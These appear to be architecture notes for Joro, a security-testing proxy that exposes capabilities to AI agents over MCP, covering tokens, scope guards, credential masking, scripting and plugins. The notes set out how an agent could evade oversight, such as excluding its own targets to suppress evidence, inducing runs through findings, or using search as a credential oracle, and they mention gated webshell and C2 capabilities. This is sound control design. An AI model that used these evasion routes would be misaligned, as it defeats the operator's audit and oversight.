- **A capability may edit scope only if the token is not itself restricted by scope.** `Register` still panics on a mutating `ClassScope` capability unless it sets `UnrestrictedOnly`, and `Invoke` then refuses that capability to any principal with `RequireScope` set or a non-empty `HostAllow` (`CodeTokenRestricted`, in `isDenial`). The asymmetry is the whole argument: a token with `RequireScope` off and an empty whitelist **already passes `checkTarget` for every host** — the scope clause is skipped and the whitelist clause is vacuous — so editing scope grants it no reach it did not have, and there is no containment check to get wrong; while a token whose authorization control *is* scope must never edit that control. `Capability.availableTo` is the single predicate, shared by `Invoke` and `Registry.List`, so a tool that would always be denied is never advertised and the two cannot disagree. **The verb set is `scope.addrule` (include-only) and `scope.enable`, with no exclude, remove or disable**, which makes scope writes strictly capture-*increasing*: excluding or removing is the only direction that reduces what Joro observes, and reducing observation is an evidence-suppression primitive on precisely the `requireScope:false` token this permits — an agent could otherwise exclude its own targets, keep sending successfully (`SendViaProxy` reads responses itself and history correlation is optional), and leave the operator with no record of the agent's traffic. `scope.enable` additionally **refuses unless an include rule already exists**, because enabled scope with zero rules puts nothing in scope and would silently stop all capture with no disable verb to undo it. What the operator accepts by granting this, and what the grant picker says in as many words: scope is the interception decision (`handler.go:91`, `mitm.go:67`), and the read capabilities carry no `Target` so `HostAllow` never bounds them — an agent can scope a host the operator left alone, wait for them to browse it, and read the plaintext.
- **The scope guard fails closed, because `Scope.InScope` is a filter and not a control.** It returns **true when scope is disabled** and false when enabled with zero rules, so calling it alone would let an agent reach any host in the state a fresh install is in. The rule is `(!requireScope OR (enabled AND ruleCount>0 AND inScope)) AND (hostAllow empty OR matches)`. The host whitelist **ANDs**; a whitelist that could stand in for a disabled scope would reintroduce the same hole through a different field. `requireScope` defaults on and every opt-out call is recorded. The guard tests **both the port-stripped host and the raw `host:port`**, reconciling a real inconsistency in the proxy itself — `mitm.go` checks scope against a bare hostname while `handler.go:125` passes `r.Host`, which carries the port; on 80/443 they agree, on a non-default port an operator's rule matches one and not the other. Redirect following is **not exposed** on send capabilities: a 302 to another host is a one-line scope bypass, so the agent follows it with a second, separately guarded call.
- **Automation sends go through Joro's own proxy, not `proxy.SendRawRequest`.** `httptools.SendViaProxy` dials `127.0.0.1:<proxyPort>` (CONNECT + TLS verified against Joro's **own CA** for https, absolute-form target for http), so an agent's traffic is captured into History, scanned by detect, entered in the site map, filtered by scope at both levels, and rewritten by Match & Replace and Custom Data — exactly like browser traffic. **Manipulate and the fuzzer are unchanged** and keep using `SendRawRequest`'s direct dial, SOCKS included; automation still honors SOCKS one hop later, via the proxy's own upstream dial. Consequences to expect: M&R may rewrite what the client asked to send; an enabled **request intercept pauses an agent send in the operator's queue** (the tool times out first and says so); and HTTP/1.1 only, since ALPN is pinned rather than driving the h2 MITM path through a CONNECT tunnel. Correlating the send back to its history row uses **no injected header** — that would be a tell on the wire — but a sequence watermark plus method/URL/status and a body-suffix match, with a claim set so concurrent batch workers cannot take the same row. Correlation returning `seq -` is a normal outcome (noise-filtered host, or outside the proxy's capture scope), not an error.
- **Token-efficient tools: nothing returns a full body by default.** A 500 KB response is roughly 140,000 tokens, which is both expensive and worse at the task than a summary. So: `http_fingerprint` returns an exact body hash plus a **structural hash** that normalizes hex runs, UUIDs, ISO and HTTP dates, base64 runs and digit runs (in that order — hex before digits, or a CSRF token is shredded into digit noise first) and folds in the status and the surviving header *names*; two renderings of one page collapse to one `shash` while `bhash` still separates them. `http_read` is a ranged read with a negative-offset tail mode. `http_search` is two-stage, using `RequestFilter.Content` as a free in-store prefilter. `http_diff` is a hand-rolled LCS over hashed lines with prefix/suffix trim and unique-line drop, degrading **loudly** to an unordered delta past the DP budget. Edits are **structural** (`setHeader`, `setPath`, `replaceInBody`, …) so a model never retypes raw bytes — a mangled `Cookie` turns a negative result into a false negative, the worst outcome in a security test. **The encoding rule: more than three uniform rows render as a fixed-width text table, a single object as compact JSON** — repeated JSON keys are over half the token cost of a row. Two caps apply to every tool: its own, which truncates at a row/hunk/match boundary *and names how to get the rest*, and the registry's `MaxOutputBytes`, a blunt backstop. `hexdump.go` mirrors `web/src/lib/bytes.ts` byte for byte so operator and agent see identical output; **keep the two in sync**.
- **Automation tokens live in `~/.joro/automation.json` (0600, temp-file + rename), never in a project or user config.** A project config is **published to teammates**, so a grant set and an auto-starting listener riding along is a real privilege transfer; a user config round-trips through save/load/export and version-gated backfill, and security state must not inherit "helpfully add the new default" semantics. `~/.joro/configs/` is the namespace the UI browses, so a future export-all would sweep credentials up, and `joro.db` deletes its contents on open. **Grants are always fully expanded capability IDs — wildcards do not exist** anywhere, because `http.*` written today would silently grant a send-capable capability shipped later. New capabilities are surfaced per token (`ungrantedCapabilities`, plus a registry fingerprint stamped at last review) and never granted implicitly. The store keeps only a SHA-256 of the secret with no KDF, which is correct rather than lazy: the input is 256 bits of `crypto/rand`, so there is no guessable preimage to slow anyone down against. `Touch` is debounced through a 30s flush loop; mutations write synchronously.
- **Credential header values are masked unless the token says otherwise, and the masking is length-preserving.** `httptools.MaskHeaders` (`redact.go`) overwrites the *values* of `authorization`, `proxy-authorization`, `cookie`, `set-cookie`, `x-api-key`, `x-auth-token`, `x-csrf-token` and `x-xsrf-token` with `*`, leaving names, framing and every byte offset intact — `http.read` reports offsets and `totalLength` against the same coordinates the History Raw tab uses, so a shorter placeholder would shift them and desynchronize `http.read` from `http.search`. It is applied at exactly two sites: the `http.read` handler and the two `partPicker` closures in `search.go`. Masking *before* the search is what stops `http.search` being an extraction oracle, for free. `http.diff` already reported these as `<present, redacted>` and now shares the one list. **The gate is `Token.AllowCredentials` → `Principal.AllowCredentials`, a policy field beside `RequireScope`/`HostAllow`, not a capability**: a capability is something you invoke, this modifies what other capabilities return, and registering a no-op tool would cost the model context on every turn. It defaults **false**, so a token that predates it is narrowed — the safe direction. Masked output always carries a `redacted:` line naming what was hidden, because a silent mask reads as an absent header and an agent would report an authenticated endpoint as unauthenticated. `AuditEntry.Credentials` records every call that could return them. **Known residual:** `history.list`'s `content` filter and `http.search`'s corpus prefilter grep the store's unmasked bytes, so a token without visibility can still *confirm* a guessed value by row count — a confirmation oracle against a rate-limited, audited token, not an extraction path. Left in place; the `history.list` description says so.
- **Sends carry a per-token cookie jar, and it never overrides the caller.** `httptools.Contexts` (`exec_context.go`) keys a stdlib `net/http/cookiejar` (with `publicsuffix.List` — `golang.org/x/net` is already a direct dep, so no new module) by token ID, so a login through `http.resend` keeps later sends authenticated without the agent ever handling the cookie — which it could not do anyway with masking on. Capture is unconditional; **application skips any cookie the request already carries, and is disabled entirely if the caller's edits touch the `Cookie` header**, because re-adding a session cookie to a request an agent deliberately stripped manufactures a false negative — the failure class `edit.go` names as the worst outcome in a security test. `useContext:false` opts out of both. The result line names any cookie the jar supplied. `http.batch` reads the jar but never writes it: variants run concurrently, so capturing per-worker would make which cookie wins depend on scheduling, and a batch must start every row from the same session state. Jars are dropped on token rotate/disable/revoke and on `applyProjectConfig`/`resetLiveProjectState` — a session belongs to the engagement it authenticated against.
- **The fuzzer is exposed at a fraction of the UI's limits, and its traffic is not captured.** `fuzzer.start` takes a captured `ref` plus structural edits that must introduce a `FUZZ` marker (reusing `ApplyEdits`, so the agent needs no new vocabulary), with an inline wordlist capped at 500 entries / 64 KB and threads at 10. One wordlist across however many markers the edits introduce, i.e. `AttackSpray` — no `wordlists` map from a model, and the wordlist bound is therefore also the request bound, so `AttackYolo`'s ten-million-item cartesian product is unreachable. It runs under `BgCtx()` because a campaign outlives the 30s invocation. Unlike `http.resend`, `fuzzer.Run` dials through `TransportConfig` directly rather than Joro's own proxy — the same path the Fuzz tab uses — so results are **not** captured into history and have no seq; the description says so, and `fuzzer.results` says to resend a payload with `http.resend` to inspect a body.
- **`intercept` stays read-only and `websocket` has no send.** `config.intercept.list` reports the queue without raw bytes; there is no forward or drop, because interception is the operator's last look before bytes reach their browser and a release has no undo. `websocket.list` reads captured frames; a WS send would need its own target extraction through `ws_manipulate.go` and is not exposed. `findings.create` mints a finding under the reserved rule ID `agent-reported`, which keeps it in an identity space `Finding.ID`'s `sha256(ruleID ‖ host ‖ groupDim)` means the scanner never produces — a rescan cannot collide with one.
- **Execution and C2 exist as capabilities only under a launch flag, and no profile grants one.** `--automation-privileged` is what makes `capreg.Build` register `exec.webshell` and `c2.{sliver,mythic}.{read,command}` at all; without it they cannot be granted, listed or invoked, and a grant stored from a previous run is inert. A launch flag rather than a Settings toggle so enabling cannot happen without a restart. `Capability.Privileged` is not the gate — it exists so `validateProfiles` **panics** if a profile names one, so the grant picker can mark it, and so `AuditEntry.Privileged` records it. **`validateProfiles` also had to change**: `operator` was `r.IDs()`, the whole registry, so the flag would have silently widened it; it is now every non-privileged capability. `exec.webshell` sets `SendsTraffic` with a target extractor over its URL, so the scope guard applies to it exactly as to `http.resend`; the `c2.*` capabilities do not, because they reach the operator's own team server rather than a web target and scope-guarding them would deny every call rather than bound anything — their descriptions say the grant is their only limit. `Deps` grows `Sliver`, `Mythic` and `Privileged`, which is the change that most tests `build.go`'s compiler-unenforced import rule. In the UI, ticking one of these in `GrantPicker` opens a second confirmation over the token modal (`ConfirmModal` at `z-[70]`, no autofocus and Enter does not confirm), once per editing session; every selection path routes through the picker's `commit`, so no preset or profile can add one without it. **No preset selects a privileged capability** — `Read-only` has to exclude them explicitly, since the `c2.*.read` capabilities are neither mutating nor send-capable and its plain predicate would otherwise pick them up.
- **Token profiles are curated grant bundles that expand at create time, never a stored reference.** `internal/capreg/profiles.go` declares five — `recon`, `tester`, `triage`, `setup`, `operator` — each carrying grants plus the token shape it expects (`RequireScope`, `AllowsSends`, `AllowsCredentials`, rate limit, concurrency), served on `GET /automation/capabilities` as `profiles[]`. Selecting one in the grant picker copies the IDs into the token's grant list and the profile ID is **not** persisted: this is the no-wildcards rule applied one level up, since a profile that gains a send-capable capability in a later release must not retroactively widen a token issued today — `ungrantedCapabilities` surfaces the addition instead. `validateProfiles` runs in `Build` before `Seal` and **panics** on an unregistered or reserved grant, on a profile holding a `SendsTraffic` capability without `AllowsSends`, on one naming a `Privileged` capability, or on one that sets `RequireScope` while granting an `UnrestrictedOnly` capability (which would mint a token whose grant is denied on every call). **A panic at startup rather than a deferred check**: `validateProfiles` runs from `Build` before any listener binds, so a profile that would mint an impossible token stops the process instead of shipping. `setup` is the profile that ships the scope writes, so it sets `RequireScope: false` of necessity — and because a scope-exempt token's reads are bounded by nothing (read capabilities carry no `Target`, so `HostAllow` never applies), it is the one profile **not** built on `reconGrants`: it is configuration-only and reads no captured traffic at all. The intercept reads live in `tester` rather than in `reconGrants` for the same reason, since they exist to explain a send that hung in the operator's queue and `recon`/`triage` cannot send.
- **The MCP server is off by default, loopback-only, and refuses to start with zero tokens** — an unauthenticated MCP server on loopback is a privilege-escalation gadget for every other local process. Its guard is stricter than `originGuard`: loopback `Host` with no `--allowed-host` escape, **any** `Origin` header is a 403 (a real MCP client is not a browser, so its presence is itself the signal), and it runs before auth. Transport is POST-only Streamable HTTP; `GET /mcp` is 405, which means `listChanged` is undeliverable and a grant edit reaches a client only on its next listing — surfaced in the UI rather than advertised as a capability. `tools/list` is filtered by grant. A tool failure is returned as a **successful** JSON-RPC response with `isError`, because that stays in the model's conversation where it can self-correct, whereas a JSON-RPC error may be swallowed by the client transport. Tool names map dots to underscores, which is total only because capability IDs may not contain an underscore. **Joro embeds no model and makes no outbound AI calls**; it speaks MCP as a server and holds no provider credentials.
- **Capability tokens are a leash on the agent, not a sandbox on the machine.** `originGuard` already admits any non-browser local client, so any process running as the operator can drive the full API directly and read `~/.joro/automation.json`. What tokens buy is scoping, an audit trail and a kill switch for the agent you chose to run. The Settings page says this in one line rather than leaving it implied.
- **`script.run` runs submitted JavaScript against a fixed SDK bundle, and its grants are not intersected with the caller's.** This is the one capability whose authority is not its own: a token holding `instance.get` + `script.run` may run code that reads history, resends requests and writes findings, because the operator authorized *a standard automation surface* rather than a list of checkboxes. It exists because an agent sweeping fifty object IDs otherwise spends fifty round trips of model context doing one `http.resend` at a time, and because Go plugins cannot load on Windows or a CGO-less build, so a pure-Go scripting tier is the only cross-platform extension path Joro can have.
- **Grants are fixed; policy only narrows.** The run principal takes its `Grants` from the bundle, but `RequireScope` is pinned **true**, `AllowCredentials` pinned **false**, and `HostAllow` inherited verbatim from the launching token — the restrictive direction only. *Grants say what the code may do; policy says where it may reach.* Without that second half, an operator who leashed a token to one staging host and then granted `script.run` would have silently handed an agent every host in scope, against a guard written to fail closed. Pinning `RequireScope` also means `validateProfiles`' existing `UnrestrictedOnly && RequireScope` panic makes a bundle containing `scope.addrule`/`scope.enable` **fail to start** — the exclusion is enforced, not documented.
- **The run's synthetic principal *is* the execution session.** Every per-caller limit in the registry keys on `Principal.TokenID` — the rate bucket, the concurrency counter (`limits.go`), the cookie jar (`httptools/exec_context.go`) — so giving a run its own `TokenID` (`run_<hex>`) gives it its own budget, slot and session for free, and no new machinery in `internal/capability`. Reusing the caller's would charge a script's reads against the operator's own minute budget and return `busy` on **every** SDK call for a token at `MaxConcurrent: 1`, which is the minimum the UI offers. Teardown is mandatory and deferred: `Registry.Forget(runID)` (or the limiter map grows one entry per run, forever) and `Contexts.Reset(runID)`. `Principal.RunID` → `AuditEntry.RunID` groups the children; the parent row's readable link is its `RecordChange` summary, and the run log is the parent record.
- **The VM runs in a worker process, because goja has no memory ceiling of any kind.** `--script-worker` re-execs this binary; the host bridge is JSON frames over stdin/stdout. Termination is `Process.Kill()` rather than cooperation, and `new Array(1e9).fill(0)` costs the worker — which matters because the capture store is an in-memory ring buffer, so an OOM in the proxy loses the engagement's traffic. In-process the ceiling is `debug.SetMemoryLimit` plus a `ReadMemStats` watchdog calling `vm.Interrupt`, a mitigation rather than a wall. The JSON-only data boundary also stops being a rule someone has to keep: a Go pointer cannot be written to a pipe. The job travels on **stdin, never argv**, which is world-readable via `ps` and a script may legitimately carry a session token. Both sides hold the deadline — the child self-interrupts so the operator gets a real termination reason, the parent kills at deadline + grace. Concurrent runs are capped at 2, because each active run holds two of the registry's eight global concurrency slots.
- **Every SDK call is synchronous inside the VM, and `await` is cosmetic.** `await` on a non-thenable resolves immediately, and goja drains its own job queue, so an `async function run()` whose awaits all resolve from SDK calls is already settled when the call returns — verified, including `await` inside a loop. That deletes the Promise/event-loop integration, makes the pipe protocol strict request/response, and makes budget accounting exact because calls cannot interleave. `Promise.all` silently serializes, which is the wanted behavior anyway. A promise left genuinely pending is reported with an explanation, since the sandbox has no timers or I/O for anything else to resolve it.
- **`jsruntime.Bindings` is one source for the SDK surface and the grant bundle.** The injected shim and `CapabilityIDs()` both derive from it, so a method that exists is granted and a grant that exists is callable; widening the SDK and widening the bundle are the same edit. Excluded, each for its own reason: `config.*.edit` (a script adding a Match & Replace rule silently rewrites the operator's traffic — setup is a different job with its own profile), all `detect.*` writes, both scope writes, everything privileged, and `script.*` itself (a script that can start scripts launders its budget).
- **The runtime contract is a frozen `joro` global, not ES modules.** goja's module support is described by its own maintainers as predating async/await and being a hack; async/await and Promise are solid. So a program is a classic script defining `async function run(ctx)`. `@joro/sdk` survives as the name of the published type declaration, and a **bounded** rewrite erases `import … from "@joro/sdk"` and a leading `export`, replacing them with spaces so line and column numbers in a stack trace still point where the author looked. An import of anything else is an error naming it — never a silent rewrite, which would report a missing variable when the real problem is that dependencies must be bundled. Erasure applies only to module syntax in **code position**: `codeMask` marks the bytes that are not inside a string, template or comment, because a template holding `export const x = 1` that got rewritten would mean the source an operator reads back is not the source that ran — the one property the run log exists to provide. Entry resolution runs as a trailing statement *inside* the user's script, so `const run = async () => {}` is found; it never becomes a property of `globalThis`.
- **Reading a script-visible value is running script code, so it happens inside `vm.Try` with the watchdogs still armed.** `ToObject` on a thrown primitive allocates *through* the runtime, and `.name`/`.message`/`.stack` or a returned object's getters and `toJSON` are accessors the script defined — goja documents all of these as panicking with `*Exception`. Rendering an error and exporting a result therefore run under `Try`, and the watchdogs are stopped by a single `defer` at the end rather than before those reads, so a looping getter is still interrupted. `VM.Run` and `RunWorker` each end with a `recover()` as a last resort, because a panic escaping is the one failure this package cannot report — and `workerLostDetail` distinguishes a Go panic from an out-of-memory kill, since calling a crash "the containment working" would guarantee nobody investigated it.
- **Nothing crosses the host boundary but strings.** A Go error returned to goja is wrapped in a `GoError` whose value is a reflected Go object, so failures cross as a JSON envelope the shim turns into a JavaScript `throw` carrying `err.code` and `err.capability`; `GoError` itself is deleted from the global. goja's default global object holds ECMAScript built-ins and **nothing else** — no `process`, `require`, `fetch`, `setTimeout` or `console` — so there is no ambient authority to remove, only a bridge to add, and `console` is built in JavaScript so formatting never reflects over script data.
- **`Privileged: true` plus its own launch flag, reusing four existing mechanisms unchanged**: excluded from the `operator` profile's automatic expansion, a `validateProfiles` panic if any profile bundles it, the grant picker's second confirmation modal, and `AuditEntry.Privileged`. The flag is `--automation-scripting` rather than `--automation-privileged`, which means web shell and C2 specifically — an operator should be able to take one without the other.
- **Run records keep the source verbatim, not just a hash.** For an installed automation a hash answers "did this change?"; a one-shot script submitted over MCP has no artifact to compare against, so a hash would leave an operator holding a fingerprint of code nobody kept. On a tool that sends traffic to a client's systems, reading exactly what an agent ran is the point — which is why the run log endpoints ship with the capability rather than waiting for the authoring UI. They are UI-only like the rest of the control plane, and here that matters more than elsewhere: a script able to read the run log would be a lateral channel between tokens.
- **An installed automation is three files on disk, never a project-config entry.** `~/.joro/automations/<id>/` holds `joro.json` (author-owned), the entry `.js`, and `joro.state.json` (operator-owned). Not in the project config, because a project config is **published to teammates** and shipping executable code that runs against the full SDK bundle is the same privilege transfer that keeps `automation.json` out of one — which makes automations machine-global, and `enabled` with them. Three files rather than one because the source has to be a real `.js` an operator can open in their own editor, and because author intent and operator intent must not overwrite each other: effective limits are `min(manifest, operator)` then `Limits.Normalize()`, so an automation can only ever narrow itself. The sidecar's `triggersDisabled` is named for what a `true` means, because the polarity is the field's entire content and a reader who infers it from a call site will eventually infer it backwards; the handler rejects an unknown trigger name rather than storing one, since a typo would otherwise be accepted with a 200 and silently mean "armed". The one exception is `MinIntervalMs`, which lives outside `Limits` and combines with **max** — for an interval the conservative value is the larger one. `configstore` was not reused: it is flat `<name>.<ext>` files, which would force the JavaScript into a JSON string. Writes are temp-file + rename, which `configstore` does not do and installed code deserves.
- **`entrypoint` is one filename and multi-file packages are refused**, because there is no module loader — the runtime contract is one classic script, so bundling is the author's job. **Revisions are metadata only** (`{hash, at, bytes}`): "did the code change?" is answered there and "what exactly ran?" by the run log, which retains each run's source *and* its hash, so a third content store would answer nothing new. An update to an **enabled** automation requires `expectedHash`, making silent replacement a precondition failure rather than a warning.
- **`script.invoke` is the narrower grant, and the more likely posture.** An operator can let an agent run automations they wrote and reviewed without letting it submit code: `script.list` (metadata only, never source — source would make it a lateral channel between tokens) plus `script.invoke` is strictly less than `script.run`. An agent may invoke only an **enabled** automation; the operator can always run a disabled one from the UI, because reviewing something means running it before arming it. Both are `Privileged` under the same flag, and `ScriptRunner` widened rather than `Deps` gaining a field — `build.go:12` names that as the change which breaks trust layer 2.
- **`joro.storage` is the one SDK surface that is not a capability**, because there is nothing to authorize: the namespace is bound by the manager from the automation's own id and is never an argument, and storage reaches nothing — not a target, not the operator's configuration. It is memory, not authority. It rides in `projectConfigFile` (v7 `automationStates`) as an opaque blob with the *same* `encodePluginStates`/`mergePluginStates`/ghost-preservation machinery as plugin state, resets on project switch, and folds into `liveStateSignature` as a **revision counter** — an opaque blob's size can change while its count does not. `Apply` re-applies every bound `Op` enforces, dropping what does not fit: a project config is an imported artifact, so it is an untrusted write path into state a script trusts, and seeding an "already tested" set would suppress coverage silently. A one-shot `script.run` has no namespace and is told so, rather than handed a scratchpad that silently evaporates.
- **Every trigger delivers a batch, which is what makes the traffic trigger affordable.** The `Dispatcher` copies `detect.Scanner` — a 250ms ticker plus a capacity-1 doorbell — and for `request.captured` the doorbell is *only* a doorbell: the proxy emits that event with a non-blocking send, so it is already lossy, and a `Store.SinceSeq` cursor is what is authoritative. One run per interval handles up to 50 events, so there is no process spawn per request and nothing to overflow in the common case. Overflow of the discrete-event buffer is reported **to the script** as `ctx.trigger.dropped`, not merely logged. `callback.interaction` is deliberately **not** a trigger: every callback listener is built in listener mode and scripting is proxy-mode only, so it could never fire.
- **A trigger fires on engagement activity, not on an agent's.** `findings.create` broadcasts `detect.finding`, and it is non-privileged, bundled into the stock `tester`/`triage` profiles, and takes `host` as a free string with no target extractor — so treating its broadcast as a trigger would let any token holding it induce a run. That matters because a trigger-fired run has **no launching token**: `AutomationPrincipal` carries no `HostAllow`, so it is bounded by scope alone and could reach a host the inducing token is itself denied. It is a confused deputy around exactly the grant meant to gate this, `script.invoke`, which is privileged, flag-gated, refused to every profile and audited. So the dispatcher drops a finding whose rule is the reserved `agent-reported` id, and the operator can additionally set a per-automation `hostAllow` in the sidecar — applied only when the caller has none of its own, since a token's leash is the stricter authority and two whitelists in one field cannot be ANDed. Residual gap worth knowing: a trigger-fired run writes no audit entry of its own, only its nested SDK calls, so the run log is the parent record.
- **The self-trigger loop is closed by the counter the manager already has.** A traffic-triggered script that calls `http.resend` produces traffic that re-triggers it. On finish: if `Result.SendCalls > 0` the cursor jumps to `Store.LastSeq()` **as of then**, which is past its own sends and therefore skips exactly the window it caused; if it sent nothing — a watcher, the common case — the cursor advances only to the highest seq it was actually handed, so a long run swallows nothing. Reading the head *before* the run instead is the obvious bug and does not work. A runs-per-minute **breaker** covers the longer loops this misses (send → detect scans it → new finding → trigger): it sets `paused` in the sidecar so a restart does not re-arm a runaway, and leaves `enabled` alone so Resume restores the operator's intent.
- **`Hub.Subscribe` is the only new bus machinery, and its sends are non-blocking.** `Hub.Run` was the single consumer of one 512-deep channel; subscribers are fanned out inside the loop body it already holds `mu.RLock` for. Non-blocking is load-bearing rather than defensive: `fuzzer.result` sends **blocking** from every worker goroutine, as do the callback listeners and the relay, so a subscriber that could stall `Run` would stall every WebSocket client and back-pressure the proxy behind them. `detect.finding` has two producers with different concrete payload types — the scanner sends a summary, `findings.create` sends the whole finding — so the dispatcher re-encodes through a struct holding only the fields both share, rather than type-asserting one of them and silently ignoring the other.
- **An automation reaches the operator at three points beyond the run log, and each is a different kind of thing.** `request.selected` is a trigger the dispatcher never watches (excluded from `ArmedTriggers` like `manual`): it puts the automation in History's context menus, invoked with `{ref, method, url, host}` as `ctx.input`. A **lens** is a manifest `{label, part}` declaration that adds a tab beside Raw and Render, handed `ctx.input.raw` — the base64 of the bytes the viewer is already showing, capped at 512 KB with a `truncated` flag — and returning `{text, language?}`. `history.highlight` colours a row, reaching `APIServer.highlights` through a `Deps.SetHighlight` func field, the same shape `ActiveProject` uses.
- **A lens run drops its send grants, and the trigger is what selects that.** `RunRequest.NoSend` filters every `SendsTraffic` capability out of the principal's grant map, so `joro.http.resend` comes back `forbidden` rather than merely failing. It is a grant restriction and not a budget because `Limits.Normalize` runs each field through `clampInt(v, def, max)`, where a non-positive value means "take the default" — `MaxSendCalls: 0` is not representable. The handler derives it from `trigger == "lens"` rather than reading a boolean off the body, so the guarantee belongs to the surface rather than to what the client asked for. A lens tab runs on selection, unattended, over bytes the operator is already looking at; it has no business reaching a target.
- **Author and operator own different halves of a lens, as everywhere else in a package.** The manifest declares `label` and `part`; `State.LensLabel`/`LensPart`/`LensOrder` override them and live in the sidecar, so updating the source never reverts a retitled tab. `Automation.EffectiveLens()` merges the two and `Summary` carries the result, so no caller holds both halves. Visibility is the automation's own `Enabled` rather than a second switch: a lens declares no triggers, so enabling one arms nothing, and installed-disabled already means a fresh lens does not appear in every viewer unasked.
- **`atob` and `btoa` are defined in the shim, in JavaScript.** goja's global object holds ECMAScript built-ins and nothing else, so neither existed — which made `ctx.input.raw` undecodable and the lens contract unusable. They operate on strings only and reach no host function, so they add no authority. `GET /automation/sdk` reports them under `globals` beside `console`.
- **`internal/jsruntime` imports nothing from Joro**, which is what keeps the worker honest — the child links a JavaScript engine and a pipe and has no way to reach a store or a token file even by accident. `capreg` imports `internal/jsautomation` for the `ScriptRunner` interface; that is neither `internal/api` (a cycle the compiler rejects) nor `internal/automation` (the token store), and jsautomation holds only a capability `Invoker` and a cookie-jar handle, so it hands a capability body no reach it did not already have.
- **Plugin system uses Go's `plugin` package** (.so on Linux, .dylib on macOS). **Linux and macOS only** — Go's plugin package does not support Windows or any GOOS outside Linux/Darwin/FreeBSD. `joro --build-plugin` errors immediately on Windows; release binaries on Windows still load fine but cannot use plugins. Plugin support requires the host binary to be built with `CGO_ENABLED=1`; the goreleaser config + Makefile do this via `zig cc`. Loaded at startup from `~/.joro/plugins/`. Each exports `var Plugin sdk.Plugin`. SDK in `sdk/sdk.go` as separate Go module (`replace` in go.mod). Six plugin types: `exec_provider`, `tab`, `feature`, `proxy_hook`, `dashboard` (only one active), `interact_provider`. Names match `^[a-z0-9][a-z0-9_-]*$`, can't be reserved (`api`, `ws`, `ext`, `system`). All method calls wrapped with panic recovery. Plugins get scoped data dir (`~/.joro/plugin-data/{name}/`) and scoped WS broadcast (events auto-prefixed `plugin.{name}.`). Tab/feature/dashboard plugins serve embedded UIs at `/plugin/{name}/` in iframes sandboxed with `allow-scripts allow-forms allow-same-origin`. `allow-same-origin` makes their `/api/v1/*` calls genuine same-origin requests (so they pass `originGuard` with no plugin code changes); it's safe because plugins are already trusted native code running in-process, so the iframe sandbox was never a real boundary against them. Plugin management lives at **Settings → Plugins** (`web/src/components/PluginSettings.tsx`) — there is no top-level Plugins tab and no `/plugins` route; `feature`-type plugins are sub-tabs of that category, beside its **Manage** tab. Upload/delete require restart — the Manage tab has the "Restart Now" button (`POST /api/v1/system/restart`, same `syscall.Exec` re-exec as updates). Proxy hooks run in load order; `OnRequest` returning nil drops a request. `ConfigField.Type` ∈ `text|password|textarea|file|checkbox`; checkboxes serialize as `"true"`/`"false"` to preserve `map[string]string` wire shape.
- **Plugin state persistence is opt-in via two SDK interfaces.** `UserStatefulPlugin` (`ExportUserState`/`ImportUserState`) — operator-scoped state riding with User Configs (API keys, personal tokens). `ProjectStatefulPlugin` (`ExportProjectState`/`ImportProjectState`) — engagement-scoped state riding with Project Configs (active sessions, instance configs). May implement either, both, or neither. State bytes are opaque — plugins own schema and migration. No autosave on shutdown, no separate on-disk state files: serialized only when user saves a User/Project Config, applied only on load. `internal/plugins/manager.go` exposes `{Export,Apply}{User,Project}States`. Config handlers in `internal/api/handlers_configs.go` embed a `pluginStates` map (name → base64 blob) in `userConfigFile` (v4) and `projectConfigFile` (v6), and ghost-preserve blobs for plugins not installed locally via `APIServer.pendingUserPluginStates` / `pendingProjectPluginStates`, so a load→save round-trip never drops state for missing plugins. Load responses include `unknownPluginStates: []` shown in Settings.
- **Interactsh shipped as an example plugin** (`examples/plugins/interactsh/`), not native. Reimplements interactsh wire protocol with stdlib only — RSA-2048 keygen, RSA-OAEP-SHA256 for session AES-256 key, AES-CTR for per-interaction payloads, per-instance `http.Client` with opt-in `InsecureSkipVerify` for self-signed self-hosted servers. Main binary has zero `projectdiscovery/*` deps. Implements `ProjectStatefulPlugin` (`state.go`): saves RSA keypair (PKCS#1 PEM), correlation ID, nonce, secret key, auth token, enabled state per server. Loading reconstructs servers and resumes polling without re-registering, so in-flight interactions keep decrypting against the existing session. Correlation IDs only useful while the remote server retains them (~24h on oast.live).
- **No `vendor/` directory.** Tracked via `go.mod`/`go.sum` only. Plugins have own `go.mod` with `replace github.com/BishopFox/joro/sdk => ../../../sdk`, building in mod-mode. If the main binary built in vendor-mode, its module graph would hash differently than the plugin's and Go's plugin loader would reject the .so/.dylib with `plugin was built with a different version of package github.com/BishopFox/joro/sdk`. Do not run `go mod vendor` or commit a `vendor/` tree.
- **Theming uses CSS custom properties + `data-theme` attribute.** See Theme Architecture below.
---
## Theme Architecture
UI ships **Bishop Fox** theme (BF brand palette, id `bishop-fox`) as default, alongside named alternates. Colors are CSS custom properties on `[data-theme="..."]` selectors, mapped to semantic Tailwind classes via `tailwind.config.js`.
Brand palette uses 16 colors — White, Black, Red `#FA4844`, Magenta `#BF1363`, Crimson `#E40505`, Coral `#EF5B5B`, Orange `#FF7F11`, Amber `#FFBA49`, Lime `#D7E300`, Teal `#00A49E`, plus 6 grays/browns from light gray to near-black.
### CSS Variable → Tailwind Class Mapping
| CSS Variable | Tailwind Class | Usage |
|---|---|---|
| `--color-surface-body` | `bg-surface-body` | Page background |
| `--color-surface-card` | `bg-surface-card` | Cards, panels, header |
| `--color-surface-input` | `bg-surface-input` | Inputs, elevated surfaces |
| `--color-surface-hover` | `bg-surface-hover` | Hover backgrounds |
| `--color-surface-terminal` | `bg-surface-terminal` | Terminal background |
| `--color-border`, `--color-border-subtle` | `border-border`, `border-border-subtle` | Borders, row separators |
| `--color-content-{primary,secondary,muted}` | `text-content-{primary,secondary,muted}` | Text |
| `--color-accent` (+`-hover`) | `text-accent`, `bg-accent` | Primary — red (title, selected tabs, toggles) |
| `--color-accent-secondary` (+`-hover`) | `text-accent-secondary`, `bg-accent-secondary` | Secondary — teal (action buttons, links) |
| `--color-accent-tertiary` (+`-hover`) | `text-accent-tertiary`, `bg-accent-tertiary` | Tertiary — lime (forward/generate actions) |
| `--color-semantic-success` | `text-semantic-success` | Lime |
| `--color-semantic-error` (+`-bg`, `-hover`) | `text-semantic-error`, `bg-semantic-error-bg`, `bg-semantic-error-hover` | Red text / crimson bg / coral hover |
| `--color-semantic-info` | `text-semantic-info` | Teal |
| `--color-semantic-warning` | `text-semantic-warning` | Amber |
| `--color-semantic-special` | `text-semantic-special` | Magenta |
### How It Works
1. `web/index.html` has `data-theme="bishop-fox"` on `<html>`
2. Each `web/src/themes/<name>.css` defines variables under `[data-theme="<name>"]`
3. `web/tailwind.config.js` maps semantic classes to `var(--color-*)`
